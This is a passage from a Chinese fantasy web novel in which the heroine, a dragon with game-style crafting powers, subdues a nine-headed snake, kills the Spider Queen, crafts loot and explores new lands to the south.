颜辞云眯眼。 颜辞云闪身。 颜辞云从天空降落，把这只最多二十米的小蛇一爪踩倒，嫌弃打量： “凶兽？就你？” 相·可怕凶兽·不到二十米的小蛇·繇·：“噗噗噗！噗噗噗！！！” 颜·将近两百米的小怪兽之王·辞云：真是白瞎了自己的严阵以待。 · 轻易拿捏住这条小蛇后，颜辞云用爪子抓着这小蛇的尾巴，飞到天上，看小蛇的九个脑袋乱扭，四下呸呸不停。 不得不说，这小蛇虽然长得小小一只，但能力还是挺让颜辞云惊讶的。 因为相繇吐出的每一口毒水，竟都在落地时化作一片片小湖泊，哪怕是沙漠都无法将它们吞噬！ 颜辞云看着这一幕，喃喃自语：“所到之处，尽成泽国……这就是‘尽成泽国’吗？真厉害啊……” 这样不讲道理的能力，简直能与颜辞云那不讲道理的催长能力比个上下。 只要掌控了相繇，日后颜辞云可谓是要多少水，就有多少水，再也不用像之前那样，费尽心思地去寻找湖泊、寻找河流了。 颜辞云说哪里该有水，哪里就会有水！ 但——前提是相繇造出的水真的能够被正常用。 颜辞云在天上低头向地面望去。 这一刻，她甚至不用压低自己的飞行高度，都能清楚看到那些在沙漠上漂浮的湖泊一个个死气沉沉、恶臭熏天，熏得远处的扶桑木都萎靡了一些。 之后，颜辞云为了试探这片泽湖，又从自己的物品栏里随便找了个沼泽系的种子丢下去，试着让它在这片特殊的沼泽中生长。 然而那种子却在落入湖泊后的没几秒就彻底死去了。 ——不能种植，不便居住。 这就是一片毒沼啊！ 颜辞云叹了口气，心中对这只相繇的期待跌落谷底。 攻击力B，想来吐出的毒水毒性很高。 但只要躲开就没事。 防御力B，想来身上的鳞片硬度很大。 但只要整个抓起来就搞定。 所以这样的一个相繇，除了污染环境制造毒沼泽之外，还有什么用啊？！ 立志建立完整生态链的环保大师颜辞云，对此忧心忡忡。 “要不……丢石原去？” 到底是自己创造的生命，哪怕颜辞云不打算驯养它，也没想杀它——至少现在，颜辞云没觉得自己有必须要杀掉相繇的理由。 既然不打算杀死，相繇的处置就成了问题。 放在沙漠吧，这小蛇在这儿四处乱窜、乱吐毒水，很容易熏到她的外挂小桑。 而石原那边就不一样了。 那片石原，面积宽阔，并且寸草不生，一个生命都没有，本来就不存在什么生态链，所以哪怕相繇这小蛇在石原到处吐毒水，甚至把石原变成一整个毒沼泽国，也不会影响到什么。 好，行！ 就这么办！ 做好决定后，颜辞云立即行动，抓着相繇，从火成岩上方的天空降落，然后抓着相繇的尾巴——开砸！ 左右左，左右左。 颜辞云提起来一看，没晕，连一块鳞片都没掉。 看来防御力B还真不是盖的。 那就再来一次。 ——左右左，左右左。 第二次提起来瞧，哟，才晕了四个脑袋！ 原来这九个头，竟然还是分别控制的？ 厉害了。 既然如此，那就跟上节奏，再来一遍！ 左右左，左右左！ 哐哐数下后，颜辞云第三次提起小蛇一瞧：很好，这一次，这小蛇总算晕得透透的了。 九个脑袋都晕透了。 于是，接下来，颜辞云提着这条终于闭上嘴巴、不再到处吐痰污染环境的小蛇，再度起飞，一路风驰电掣，飞过草原，飞过荒野，飞过森林的废墟后，终于来到石原上空。 颜辞云在这片石原上盘旋两圈，很快找到了一个风水宝地——石原的正中心——把这小蛇丢下。 顺便，颜辞云还在系统地图上做了个标记，写了个待办日程，让系统提醒自己每个月都过来检查一下相繇的位置，免得它窜出石原，破坏这个世界本就脆弱的生态和环境。 至此，有关相繇的插曲总算是处理完毕了。 而颜辞云对自己对阵蜘蛛女王这件事，也升起了空前信心！ ——攻击力E的一代猫尾草，对上那群蜘蛛时都如同杀鸡宰狗，而她对上攻击力B的相繇，又是手拿把掐。 既然如此，她对上蜘蛛女王，不也应该是随意拿捏？ 是的，是啊，本来就应该是这样！ 她颜辞云，早已不再是穿越之初时，那个光是瞧见蜘蛛女王的尸体都会被狠狠吓住的小虾米了。 现在的她，早已经是小怪兽之王了啊！ 龙形体型近两百米长的她，哪怕是用尾巴都能轻易扫死那只蜘蛛女王，这样的她到底还在慎重些什么、警惕些什么、恐惧些什么？ 是时候适应和明白自己的身份与实力了！ 颜辞云想着，笑了起来，那笑声从她口吐出，化作畅快的龙吟。 厚重的龙吟化作雷鸣，在天空翻滚，层层叠叠，如同实质般扩散开去。 凡是这声音所路过的地方，野兽为之低伏，游云惧而凝固，就连那无形无质的风，都要向她俯首—— 龙从云海跃天门，天下诸山拱至尊！ “走吧！” 颜辞云大笑一声，飞向黑水沼泽，飞向她曾经为之恐惧的梦魇！ 第45章 美人 颜辞云：世界这么大，…… 之后，一切的一切，都如此简单： 飞去沼泽区—在天空顺着蛛丝的痕迹找到蜘蛛女王—张嘴—咳，呸！ 金红的火焰从龙口喷吐。 短短三秒的炙烤后果，蜘蛛女王那具曾让颜辞云以为几乎难以被摧毁的外壳，竟就这样化作滚烫的黑色液体滚滚流下，烫得蜘蛛女王身下的巢穴与土地滋滋作响。 恶臭裹挟着火焰，顺着雪白的蛛网迅速扩散。 熊熊烈焰中，蜘蛛女王那艳丽的美人脸张开嘴，露出鲨鱼般可怖的牙齿，类似于人声、却又远比人声更为扭曲可怕的尖啸声化作如实质的音浪，似乎还想要做最后的挣扎。 但，第五秒，失去坚硬外壳保护的它，便就这样在熊熊烈火中化作了一堆焦炭，速度快得让周围的蜘蛛护卫们难以回援！ ——没有任何意外，没有任何难度。 短短五秒时间，偌大的苍白巢穴化作废墟，所有的蜘蛛护卫与普通蜘蛛们也纷纷暴毙，徒留一具具完好无损、却只剩空壳的尸体。 一切的一切，全都如同颜辞云预想的一样！ 颜辞云在天空盘旋了一圈，确定这个被火海淹没的苍白巢穴里再没有任何一个活物后，便再吐出一口气，令上一秒还肆意张扬的金红火焰，瞬间便凝固粉碎、消失不见。 轻易搞定了这一切后，颜辞云从空中徐徐降落，化作蛇形，拿出镰刀，准备采集一下这蜘蛛女王的尸体。 上一次，颜辞云第一次见到蜘蛛女王的尸体时，满脑子都琢磨着“吃不吃”、“该不该吃”、“能不能吃”的问题，以致于她完全没想到采集这回事。 所以这一次，颜辞云决定一定要好好搜刮一下！ 虽然，颜辞云觉得，以她如今的实力来说，蜘蛛女王身上的采集物应该没什么她所需要的了。 但是——就当是弥补遗憾吧！ 颜辞云想着，抬起镰刀，轻轻一挥—— 【烧焦的蜘蛛肉块】X4 【烧焦的蜘蛛肉块：蜘蛛的肉块烧焦版，内力蕴含无法拔除的毒素，吃下后会引发腹泻和幻觉。】 【苍白巢穴核心】X1 【苍白巢穴核心：如果你试着将它种下，或许能收获惊喜，当然也可能是惊吓。】 【美人绶囊】X1 【美人绶囊：或许你以为蜘蛛女王的特长是爆兵和吐丝，但事实上蜘蛛女王的心灵手巧出乎你的意料，比如说这个能装下许多物品的美人绶囊。】 有那么一瞬间，颜辞云的表情是茫然甚至是空白的。 等等……不对，不是！ 她都看到了什么？ “能装下许多物品的美人绶囊”？ 这句话的意思，是指这“美人绶囊”是一个和系统物品栏、系统储物箱一样的空间装备？ 还是说它是个单纯能装下许多东西的口袋？ 这一刻，颜辞云迅速回神来，半秒都没有耽搁，迅速将这只【美人绶囊】从物品栏里取出，拿在手上，惊喜打量。 这是一只十分小巧的绶囊。 它轻飘飘的，整个绶囊看起来浑然一体，没有看到丝毫缝合痕迹，并且触摸时柔软细腻，像是由某种上好的丝绸制成。 但颜辞云仔细看时，却能看出这并不是什么丝绸，而应该是洗去黏性的蛛丝。 与此同时，它的体积很小，甚至没有颜辞云的半个手掌大，但它正面却精巧地纹着一张令人心醉的美人脸，栩栩如生——如果不是提前知道了它是蜘蛛女王的脸的话，这美人的确是令人心醉的。 这就是“美人绶囊”的名字来由吗？ 颜辞云将这只绶囊打开，低头一瞧，下一秒，十个空空的格子在颜辞云视线里弹出。 ——是和系统物品栏一模一样的储物格子！ 这竟然真的是一个储物装备，甚至是能直接放进物品栏的储物装备！ 天呐，在抵达异世界的两个多月快三个月后，她终于搞到人生中的第一件储物装备了！ 而且看系统描述，这个储物装备似乎是可以从蜘蛛女王身上稳定获得的？ 这一刻，颜辞云几乎想要喜极而泣，甚至忍不住开始畅想起自己未来用三十个美人绶囊塞满三十格系统物品栏，一口气把30格储物栏扩展到300格储物栏的美好未来！ 到了那时候，谁搬家还需要用蛛丝捆着储物箱到处跑啊？ 她直接就是一个移动仓库啊！ 而如果美人绶囊里还能继续叠加美人绶囊的话，那就更好了。 无限叠加下去，她岂不是就有无限的空间了吗？ ——虽然想想觉得这应该不太可能，但也不妨碍她想一想嘛！ 从对未来的美好畅想中回过神后，颜辞云对美人绶囊的产出者——蜘蛛女王，升起了无限敬佩之心，以及强烈的“再来一个”之心。 但来到异世界后这三个月来，颜辞云有且仅看到过两次蜘蛛女王，并且这两次还是在不同的地点、不同的时期。 所以，颜辞云对蜘蛛女王的分布概率和出现时间完全没有头绪，更没办法以此归纳出经验、主动找上门去。 ……只能随缘了吗？ 也行。 有储物物品总比没储物物品好，有希望总比没有希望好。 人要知足啦。 这样想着，颜辞云抹去心中遗憾，又开始兴致勃勃地查看起了另一样战利品。 【烧焦的蜘蛛肉块】直接忽略。 倒是这【苍白巢穴核心】，看系统描述，它竟然是用来种的吗？ 可它怎么看都只是一团绕城毛线球的蜘蛛网啊！ 颜辞云取出这只有些黏手的蛛网团，先是靠近耳畔仔细听了听。 什么都没听到，不像是活物。 接着，她又把它拿在手里捏了捏。 忽略黏液的话，手感还挺好，而且非常柔韧，竟没有被颜辞云的大力捏破。 眼看光靠肉眼观察不出什么，颜辞云便直接挖坑，打算把这【苍白巢穴核心】直接埋下去，看看到底能种出个什么来。 但，在填土之前，颜辞云看着这个黏糊糊的蛛网团，突发奇想，试着把它塞进系统的制作台上，接着，又把四周散落的蜘蛛护卫们的尸体也捡起来，塞满制作台的格子，看会不会有什么特殊合成配方。 ——还真有！ 【1苍白巢穴核心+8蜘蛛护卫=披云车】 【披云车：车架如烟如雾，好似披云而来。一种速度极快的代步工具，可轻易翻山越岭，但不能飞行。】 颜辞云有些懵了： 这些怪东西加一块儿，竟然能做出一辆车？ 虽然这些蜘蛛的确体型蛮大的，外壳也非常坚硬，活着的时候也跑得很快，把这些家伙捆起来的确有点“蜘蛛战车”的意思…… 但你这个合成表是不是有些奇葩了？ 颜辞云对代步工具没什么需求，因为她更喜欢亲自去丈量和见识这个世界，真正要跑路的时候她的龙形速度也挺快挺方便。 所以颜辞云没有进行这个合成，而是取下那8个蜘蛛护卫的尸体，接着又放上一圈新收割的高品质蛛丝。 【1苍白巢穴核心+8蛛丝=美人罗光帕】 【美人罗光帕：一张绣着美人的精致香帕，奇毒以下，携之可避，挥之可解。】 看着这个成品，颜辞云这回是真的有些心动了—— 一张能避毒能解毒的帕子！ 虽然限定了“奇毒”之下，虽然颜辞云也不知道什么才算是“奇毒”，但能避毒能解毒这件事，听起来就方便极了！ 颜辞云知道，自己至今都没有中过毒，是因为她有一个铁胃的同时还足够苟，一直没有与真正棘手的怪兽正面叫板，而是在可控的危险范围内横行霸道。 但颜辞云曾经的幸运，不代表未来的她还能这样幸运！ 所以可以想见的是，随着颜辞云探索的区域越来越大、见识到的异界怪物越来越多，这些怪物的特性就会越来越复杂，解决时要耗费的精力也越来越多。 在这样的情况下，有一个能避毒解毒的帕子是件多么让人安心的事啊！ 但是，问题是，颜辞云对这个苍白巢穴核心能种出些什么，也很好奇啊！ 这一刻，颜辞云陷入了两难： 是步步为营、以苟为先，拿下这块帕子再说其它？ 还是满足自己的好奇心，去赌苍白巢穴核心种下后结出的果实会比避毒帕子更得她心？ 颜辞云左思右想，最后一拍脑袋：不赌了！ 赌博，万恶之源！ 她一个连洗澡都穿越还穿失忆了的人，运气难道很好吗？ 还是老老实实抓住自己能够抓紧的东西吧！ 做下决定，颜辞云便立即抛却犹豫，从制作台上取下【美人罗光帕】，拿在手上打量。 和颜辞云猜想的一样，这美人罗光帕上的“美人”，依然是蜘蛛女王，并且还不像【美人绶囊】那样只绣了一张美人脸，而是绣了一整个蜘蛛女王上去。 颜辞云：“……” 到底谁会觉得绣着蛛身人脸的帕子是“美人帕”啊？ 接着，颜辞云又低头轻嗅，想要知道这方香帕到底有着什么香，才能做到“奇毒以下，携之可避，挥之可解”。 但非常奇怪的，颜辞云只嗅到了淡淡的草木清香。好似是雨过天晴、太阳照在泥土与青草之上时所散发出的香气。 除此之外，这帕子上什么都没有。 颜辞云拿着帕子前后左右正反都看了看，再没发现其它的东西，便把帕子塞进系统物品栏的第一个格子里，以应不时之需。 排在美人帕之后的，则是锤子、镰刀、斧头、稿子这四个工具。 之后，颜辞云又把自己在沼泽区里收集到的收集物们装进美人绶囊，再将美人绶囊放在物品栏的最后一个格子，这次的物品归纳小活动就算是完成了。 “而接下来……” 颜辞云打开系统任务，在[辨识百草]这个任务下偷偷给自己加了第二条任务：狩猎蜘蛛女王！ 也不知道下一次，这个蜘蛛女王又会给她带来怎样的惊喜？ 颜辞云不由得露出笑容，想着想着，想着想着，冷不丁的，她蓦地回神，发现了自己这次思考过程里的一个漏洞： 为什么她一定要狩猎蜘蛛女王才行？ 能够成为BOSS级别的小怪兽，应该不止蜘蛛女王一个吧？ 比如说角鹰群，它们难道就没有头领吗？ 比如说水猴子群，它们难道就没有老大吗？ 甚至是黑湖上那些折磨人的大蚊子们，谁说它们之中就不能诞生BOSS呢？ 甚至是那些足有二十米高一百米长、本就有着水中霸王地位的大螃蟹们，她难道就不能去狩猎它们吗？ 颜辞云：世界这么大，我想去砍砍。 ——那还等什么？ 刚好角鹰群死伤惨重，为什么不乘此时机，去来一场说砍就砍的斩首旅行呢？ ——走！ 颜辞云瞬间化身龙形，飞上天空，兴冲冲地向角鹰群撤退的方向追去。 第46章 战利品 既有霸王之名，怎能…… 接下来，颜辞云把沼泽黑水区域的里里外外、水上水下全都扫荡了一遍。 小鱼小虾们统统吓走，头领BOSS们全部留下。 就这样，整整五天的奔波，颜辞云干掉了三个角鹰头领，两个水猴子老大，以及横行霸道的水中霸王大螃蟹六个，从它们的巢穴中扫荡出了无数战利品。 果子不吃也不要，谁知道被哪个的屁股坐过，寒碜； 种子全部就地洒下，过段时间再来看看结出了些什么； 红蓝二色宝石是意外之喜，直接收进物品栏里，但红宝石只有寥寥几个，蓝宝石倒是挺多，也不知道是怎么个原理； 矿石有用的、好看的带走，其它不要。 只可惜没有金子…… 扫荡完巢穴后，就是从这些头领们身上用镰刀采集下来的物资了。 其中，各种螃蟹肉角鹰肉猴子肉什么的暂且不提，倒是那些采集到的材料，让颜辞云有些不知道该怎么处理。 【霸王甲：一种材料，因霸王们将它当作甲胄而得名。】 其实就是大螃蟹身上最坚硬的那块壳。 【水怪之触：一种药材，也可用作诅咒与祭祀材料，因形状像水怪干枯的手而得名。】 其实就是水猴子老大的左手。 【奇香珊瑚：一种药材，因状似珊瑚且散发奇香而得名。】 其实就是角鹰脑袋上的那根角。 还有一些其它杂七杂八的材料，比如说【玄色雕羽】、【血猴力筋】这些好像是用来织布做衣的材料，甚至是从猴子老巢掏出的一葫芦【猴儿酒】、从角鹰巢穴挖出的【羊脂白玉】、【五色琉璃】。 这些都让颜辞云有些麻爪。 是的，它们都是材料没错，可以用来合成……可到底怎么合成啊？ 比如说【霸王甲】这东西，看起来似乎能做护甲套装。 可要拿什么和它一起做呢？ 颜辞云把【霸王甲】放进制作栏，开始排列组合。 但蛛丝不对，雕羽不对，猴筋也不对，羊脂白玉和五色琉璃就更不对了！ 真是让颜辞云试得头疼。 还有【水怪之触】和【奇香珊瑚】，也都是一样的问题。 它们单个做不出成品，必须要其它材料配合才行，但偏偏颜辞云想不出有什么材料能与它们相配。 这种毫无头绪的感觉实在让人抓瞎。 不过还好，这些头领老大们的家底颇丰，除了它们自身爆的各种特殊材料外，还给颜辞云留下了几个可以直接使用的成品： 【血露香坠：血沁香木，化为血露，以丝串之，是为血露香坠。佩戴后可规避、减轻一定程度的诅咒。】 这是颜辞云从水猴子老大身上得到的东西。 也不知道那只水猴子是从哪儿得到的这串血露香坠。 颜辞云只记得，当自己找到那水猴子的老大时，它正把这香坠当作项链戴在脖子上，对水自照，像是在欣赏自己的美貌。 这种看起来似是开启了灵智的举动，让当时的颜辞云还有些犹豫要不要放它一马。 但是，猴子这种生物，真的是超——烦！ 因为在冷不丁发现颜辞云的突然靠近后，这臭猴子的第一反应竟然是从屁股底下掏屎砸她？！ 颜辞云：“……” 大刀向猴子的头上砍去！ 还好这臭猴子掏屎的手是右手，否则那只【水怪之触】颜辞云宁可丢了也绝不想用！ 至于从角鹰哪儿拿到的东西。 非常奇妙，竟然是个瓶。 【羊脂玉净瓶：由羊脂白玉天然凝聚成形，具有非同一般的能力，能够主动或被动地收集无形无质之炁，凝为甘露，食之可增强体质、恢复健康、治愈疾病、驱逐诅咒等。】 角鹰的首领盘踞在湿地中唯一的一条玉矿之上，体型极为强壮，并且玉矿上还长着许多的奇花异草。 颜辞云第一次见时，还不太能够理解，只以为这角鹰老大的天赋强悍，以为奇花异草就是喜欢往石头缝隙里长。 可如今再看，恐怕这一切都是这只【羊脂玉净瓶】的功劳！ 颜辞云低头看了看羊脂玉净瓶，只见这玉瓶里空空如也，也不知道什么时候才能凝聚出下一滴甘露来。 不过，没事儿！ 有好东西进账就已经很开心了，反正她现在也健康得很。 颜辞云把羊脂玉净瓶收进物品栏，安心等待下一滴甘露的出现。 而至于最后的，则是颜辞云从大螃蟹巢穴得到的、最合她心意的一样东西。 【霸王鼎：既有霸王之名，怎能不食霸王之味？你问这鼎是霸王煮还是煮霸王？唔，这个嘛……】 颜辞云是从一只外观看起来最威武的大螃蟹巢穴里搜刮到的这个东西。 最初颜辞云还不知道这是什么东西，因为它虽然叫做“鼎”，但却更像一口锅，并且也不知道是由什么材料制成的，看起来像是石头，捏起来却又像是什么动物的坚硬甲壳。 后来，当颜辞云意外用镰刀收集到这个霸王鼎后，她看着系统注释，糊里糊涂，拿不准它是祭祀用具还是装饰用品。 可最后的最后，当颜辞云看到会和水火炼葫一样弹出熟悉格子的霸王鼎，再回看它的注释时，那种云山雾罩的感觉便一扫而空！ 颜辞云恍然大悟。 颜辞云极度惊喜。 颜辞云终于明白了，原来这名字威风凛凛、造型卓尔不群的霸王鼎，竟然是一口锅！ 一个真正能做菜的锅子！ 好好好，妙妙妙。 她再也不用拿她的小葫芦做菜、一遇到事就倒腾不出空挡来，也不用在无聊的火堆上凑合一顿烤肉啦！ 颜辞云激动之下，把锅带到湖泊群，就着湖水洗干净后就直接开煮。 霸王鼎有两种做菜方法。 第一种是直接往格子里头丢食材，看这个霸王鼎能给你做出什么菜来； 第二种则是按照正常的办法来，最后能做出什么东西就看你厨艺如何了。 颜辞云先是按照正常的做法，加菰米，加湖水，加盖，煮出诱人的黑米饭。 接着，颜辞云又往霸王鼎的格子里放入茭笋、莲藕、祝馀草和几条随手抓来的鱼： 【鱼香二色汤：此汤仅有绿白二色，看似寡淡无味，实则百味暗藏。】 颜辞云洗净荷叶做碗，摘下花瓣为勺，树枝为筷，先是喝了一口鱼汤。 鲜香扑鼻！ 哪怕颜辞云没有往里头放入半颗盐，也没有事先将鱼进行腌制或处理，但新鲜茭笋的清甜和清香却将这些腥味完美化解，甚至混合成一种似甜似咸的鲜美味道： 当甜味淡去后，咸味就会涌上，而咸味过盛时，甜味又会溶出。 简直就是咸甜永动机！ 颜辞云又吃了一口莲藕。 莲藕并不是脆藕，而是粉藕。 一口下去，那藕丝拉得浓密又绵长，咀嚼时，粉糯的特殊口感更是让人的牙齿根本停不下来，咬了一口后就会想咬第二口、第三口、第四口，直到那美妙的口感填满口腔！ 还有那真正脆甜的茭笋，还有那水润可口的祝馀草，还有那一抿就化的鱼肉。 还有那热腾腾的香气扑鼻的菰米！ ——这才叫一顿饭啊！ 颜辞云眼含热泪，就着这鱼香二色汤一口气吃光了一整锅菰米饭！ 而很快的，那只因家长无理取闹而不得不在湖泊区勤勤恳恳栽莲藕栽香蒲的小可怜白虎，此刻也嗅着香味过来了。 它先是看了看锅里的残羹剩菜，再抬头用震惊目光看向背着宝宝偷吃好吃东西的家长，猫脸上写满了不可置信。 颜辞云对着这张小猫脸，只心虚了一瞬间，下一秒，她就笑着把小猫咪捞起来，一口亲在小猫脑门上。 “没事，我这就给我家小白再做一锅好吃的！” “而且以后啊，我们还会去更远更远的地方，做更多更多好吃的——我们要一路吃过去，把这世上所有能吃的、好吃的，统统尝一遍！” 第47章 看看实力 用赶山鞭抽一下…… 接下来的一整个冬季，颜辞云都在“出门探索-采集-搜刮怪物巢穴-回家小憩-出门探索”中度过。 当第一次探索结束时，颜辞云的足迹并没有离开树屋太远，也不过堪堪探索完了沼泽以北的一条大河。 那片大河极长极宽，岸边因满是泥沙而没有太多动物和植物的痕迹，不过河水内部倒是有着丰富多姿的水生动物和水生植物。 这里的食物资源、水资源甚至矿物资源都非常丰富，颜辞云虽然没有在这条河里找到什么值得搜刮的怪物巢穴，但一个意外之下却惊喜发现这条河水竟然是能提炼出金子的！ 这就是传说中的淘金河吗？？ 在这里收获了一大批金子后，颜辞云就结束了自己的第一次冒险，开开心心地拎包回家，准备休息两天，练习练习木雕、吃吃龙肉什么的。 而就是在这样的悠闲生活中，颜辞云的【龙形】与【木·龙魄】终于突破了lv20！ 【龙形（lv20·已达上限）：你已经彻底掌握了龙形的变化，再不受任何情况的干扰。因你初步掌控了龙的力量，你开始明白了龙种力场的使用方法。】 【木·龙魄（lv20·已达上限）：在木龙之魄的影响下，你获得了它生前的部分能力，和一个完整的力场。在这个力场的范围内，你可以更精细地照料植物或操控炁。】 ——龙种力场！ 这个让颜辞云眼馋已久的能力，终于被她吃出来了！ 这一刻，颜辞云心中充满惊喜，迫不及待地出门试了一下。 她化作人形，飞上高空，发现自己在变化为龙形之后，能撑起一个以自己为中心的、直径十公里的圆形力场，而这个无形的力场，就叫做龙种力场。 在这个力场的范围内，颜辞云能指定力场内部能够存在什么、不该存在什么。 比如说颜辞云认为这个力场内不该有火焰，那么力场内部正在燃烧的火焰、外部正在侵入的火焰，都会被立即斥出。 无论是水与土与木，甚至是与生物与空气与光，都可以做到这一点。 而力场唯一不能驱逐的，只有一些概念性的东西。 比如说死亡，比如说重力。 得到这个结果后，颜辞云震撼不已，忍不住地惊叹这个能力的强大，可算是明白了海底龙尸是怎么把海水“压”成缎子的了： 敢情那海水根本不是被“压”下去的，而是从龙尸的西侧流进去的瞬间，又被立即从东侧驱逐了出去而已。 颜辞云所看到的“压下去”的视觉效果，只不过是海水流入流出的速度都太快了而造成的错觉罢了。 不过，拥有了龙种力场固然值得欣喜，但颜辞云还是不能懈怠，因为这只代表颜辞云有了一张有用的底牌，而不代表颜辞云拥有了一样无敌的杀器。 ——真无敌的话，那只海底巨龙又是怎么死的？ 这件事真是想想都令颜辞云头皮麻烦，并且再一次推翻了有关穿越之初巨兽大战的猜想。 对当时刚穿越的小卡拉米来说，那场战斗和那只巨鸟是惊天动地的，是超乎想象的极限的，所以她顺理成章地得出“巨龙与巨鸟大战，败，沉于海底”这样的结论。 可如今，在成为大卡拉米后，颜辞云回头再想，就觉得不对了：那场巨兽大战的动静，说白了其实就跟毕方大战年兽差不多。 而毕方和年兽才多大？ 千丈高。 也就是三千多米。 而巨龙沉入的海底有多深？ 万丈不足以衡量！ 所以，想要在千丈怪兽的战斗烈度下弄死万丈巨龙那样的庞然巨物？ 不可能的，想都别想！ 那么，思考到了这里，两个顺理成章的问题浮出： 那条海底巨龙，到底是怎么死的？它死了多久了？ 她穿越之初所看到的那场巨兽大战，到底是哪两方在战斗？落败的那一方的尸体，到底哪儿去了？ 这两个问题，颜辞云感到每个都不能深想，一深想就觉得很是不妙。 所以，颜辞云决定少思考，多锻炼，抓紧时间，增强自己的战斗力。 比如说搞定龙种力场的使用方法！ 只不过，有些东西不是光靠努力和勤加练习就能顺利掌控的，否则【天赋】的脸要往哪儿摆？ 而与此同时，颜辞云的龙种力场也无法支撑太久，并且她想要驱逐的东西越多，这个力场支撑的时间就越短。 比如说颜辞云如果在树屋打开龙种力场后，还设定自己的龙种力场内不存在任何地火水风，那么以颜辞云树屋内部的复杂程度而言，在颜辞云打开龙种力场的瞬间，她恐怕就得力竭、被迫关闭了。 于是，屡次受挫下，颜辞云忍不住又想要走捷径——吃龙肉了。 但不行。 因为颜辞云的【龙形】与【木·龙魄】这两个技能后，还跟着另一个词缀—— 已达上限。 “什么是‘已达上限’？”颜辞云盯着这个词缀，喃喃自语，十分不解，“明明才二十级，我感觉龙形还应该有很大的提升空间才对……为什么就‘已达上限’了？” 之前，当【火·毕方】的能力出现“已达上限”的标识时，颜辞云还没有太过在意，以为那只会烧火的走地鸡可能力量等级就那样，最高也就20。 可当【龙形】和【木·龙魄】也卡在“已达上限”时，颜辞云就察觉到不对了。 说个最简单最直白的：颜辞云“已达上限”的龙形，身长才堪堪突破两百米而已。 如果这就算是龙形的“上限”，那海底龙尸算什么？天道吗？ “那么……到底为什么呢？” 冥思苦想后，颜辞云冷不丁回神，拍了一下自己的脑袋。 “真是傻了——我怎么忘了这件事？”颜辞云恍然大悟，“我的【吞噬】技能，才只有一级啊！” 好的，这个问题算是顺利解决了。 但下个问题又来了：怎么给技能加点？怎么获得新的技能点。 颜辞云戳了戳系统。 没有回应。 颜辞云抱着手，瞪了一会儿空气，转身溜达着吃饭去了。 ——颜辞云总是不会为难自己。 · 之后，很快又是第二次出门探险。 这次出门前，颜辞云看着巨木脚下几乎没怎么长的葫芦藤，陷入沉吟。 说实话，如果不是一直能感受到这根葫芦藤内的生机，颜辞云几乎要以为自己用息土都栽死了这葫芦藤！ 虽然说葫芦的生长季节的确不是冬季，可长得这样慢也不是个办法呀…… 颜辞云想了想，为了早点见到神奇的小葫芦，她咬牙，干脆开始催长葫芦藤，同时心痛地给息土丢金子，好让这葫芦藤长得更好更快些。 但让颜辞云大惊失色且痛心疾首的是，在颜辞云一口气丢了十斤金子后，这名字酷炫的风火两济葫芦藤也不过多长出了几片叶子。 至于长葫芦？ 呵！早着呢！ 颜辞云沉默地看了许久，沉重点头，叹息：“沉没成本不参与重大决策。” 翻译：不伺候了，您老自个儿长吧！ 第二次的出门探索，颜辞云选择了南方。 穿过裂谷的五色花海后，就是颜辞云最初降临的那片荒原了。 这里满地厚雪，几乎没有生命迹象。 而在颜辞云赶走了由炁化成的蓝毛兔子后，这里更是再没有新的足迹出现。 不是死地，胜似死地啊。 颜辞云感慨着，继续向南，在飞越草原和石原的边缘时，还抽空拐弯去瞧了一眼相繇。 比起初次见面时的“小蛇”，此刻相繇的体型几乎大了一倍，生长速度不可谓不可怕，并且它还在石原里给它自己造出了一个臭气熏天的毒沼泽国，在黑雾缭绕中已初显凶兽之威。 不过，在颜辞云面前，小卡拉米始终是小卡拉米。 颜辞云冲上去，甚至没有用龙形，而只变成十多米高的蛇形，头戴神凤辟邪簪，颈挂血露香坠，手持八方神火鞭，在龙种力场的配合下左三鞭右三鞭，直接就把相繇给抽趴下了。 “小家伙，看来你不太行呢。” “要记得继续锻炼啊！” 欺负完小动物后，恶趣味的颜辞云哈哈一笑，化作龙形，继续向南。 在石原更南的地方，是一片陨铁坑。 颜辞云曾为自己挖不到铁矿的事抱怨了许久，而如今，一个偌大的矿场就摆在这里。 超棒！ 而更棒的是，这个陨铁坑里住着一群食铁兽——不是大熊猫，而是一群长得鼹鼠，有收集矿石癖好的小动物。 不讲武德的颜辞云发现这群小动物的存在后，大喜，拿起镰刀冲上去，唰唰唰地就把它们巢穴里珍藏的收集品们统统采集了。 【铁矿石】X245 【金子】X49 【钻石】X22 【绿宝石】X7 【红宝石】X12 【蓝宝石】X2 【玉钢】X87 【银】X42 【萤石】X22 …… 什么叫一波暴富啊？ 这就是一波暴富！ 几乎是瞬间，各色各样的矿石就堆满了颜辞云的物品栏。 颜辞云甚至来不及清点自己到底具体获得了哪些东西、能派上什么用场，便不得不拿出原木块，就地制作储物箱。 ——是的，经过上次冒险后总结的经验，颜辞云决定日后出门时还是应该带上原木块。 至少不能让自己吃饭时连碗筷都没有，因为有些地方，是真的没有树的！ 瞧，这次原木块不就直接派上用场了么？！ 就这样，颜辞云一边收割矿石，一边做储物箱，直到把两个储物箱都装满矿石和宝石后，她才终于停下自己收割的脚步，喜滋滋地把这两个储物箱送回树屋。 在化身龙形飞离前，她低头，深情地对陨铁坑地下那群痛失宝物的小动物们说道：“加油哦，我下次再来跟你们玩~” 食铁兽：“吱吱吱吱！！！” …… 过了陨铁坑后，继续向南，是一大片天然的岩浆池。 这里有许多常见的火成岩，甚至一些红宝石直接就躺在地面上，等待人的拾取。 也不知道是怎么来的。 颜辞云才不管这些，不辞辛劳地把整个岩浆池都转了一圈，把这些垂手可得的红宝石统统收到自己口袋。 最后，离开前，颜辞云见猎心喜，到底没忍住下到岩浆池里来回游了两圈、洗了个澡。 ——洗过海水澡，洗过湖水澡，洗过河水澡，这还是她第一次洗岩浆澡呢！ 感觉确实不错。 不怕火就是好！ 做了个高温蒸浴后，颜辞云继续向南，而当身后的岩浆池的高温彻底消散在空气后，颜辞云眼前一绿，终于看到了—— 山！ 在云雾中连绵起伏的高山！ 颜辞云大喜，直接从自己物品栏里掏出等待已久的赶山鞭，兴冲冲地就上了。 你们都是山对吧？ 来来来，让她用赶山鞭抽一下，看看实力。 第48章 搬山 第二次的换季 除了各种菜肴之外，正经从水火炼葫里出来的东西，只有两样。 一个是猫尾草，以及猫尾草的升级版相繇； 再一个就是颜辞云如今手上的这条赶山鞭。 也不知道是不是错觉，颜辞云总觉得这个世界的大部分事物、乃至是水火炼葫出品的事物，都是古朴狰狞的风格，自带一种未经修饰的蛮荒野性。 而颜辞云自带的系统、系统制作台，以及制作台出品的装备，则有一股子氪金页游风。 说不上谁好谁坏，就是觉得这两样东西不太像一个频道的，甚至让颜辞云有种自己好像穿错了世界的感觉。 